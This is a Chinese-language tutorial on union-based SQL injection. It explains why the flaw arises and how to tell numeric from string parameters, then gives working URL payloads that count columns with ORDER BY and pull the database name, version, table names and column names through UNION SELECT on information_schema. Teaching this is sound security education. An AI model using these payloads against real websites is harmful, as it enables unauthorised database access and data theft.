sql注入联合查询

sql注入联合查询
xiusql注入原理
针对SQL 的攻击行为可以描述为通过用户可控参数中注入SQL 语法,破坏原有SQL 结构,达到编写程序时意料之外结果的攻击行为,其成因可以归结为以下两个原因叠加造成的:
1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL 语句。
2、未对用户可控参数进行足够的过滤,便便将参数内容拼接到SQL 语句中。
分类
数字型 参数两边没有单双引号。
字符型 参数两边有单双引号。
如何判断
当id=2-1回显出id=1的值,就为数字型,字符串不会进行逻辑运算,只有整形数字才会运算
可能存在的位置
根据SQL 注入漏洞的原理,在用户的“可控参数”中注入SQL 语法,也就是说Web 应用在获取用户数据的地方,只要带入数据库查询,都有可能存在SQL 注入的可能,这些地方通常包括:
GET 数据
POST 数据
cookie 数据
sql注入利用
联合查询
联合查询是最常用的SQL 注入手法,有两个要求:一是字段数相同,二是数据类型相同。
联合查询可以跨库,跨表查询。
注入点的判断
?id=33 ?id=34 ?id=32 ?id=33’
判断列(字段)数
?id=1’ order by 1 正常
?id=1’ order by 2 正常
…
?id=1’ order by n 不正常
说明当前表中有(n-1) 列。
利用回显
?id=111’ union select 1,2,3
?id=1’ and 1=2 union select 1,2,3
注入数据库名称
?id=111‘ union select database(),version(),3–+
表名
1 | ?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() |
字段名
1 | ?id=111 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database() |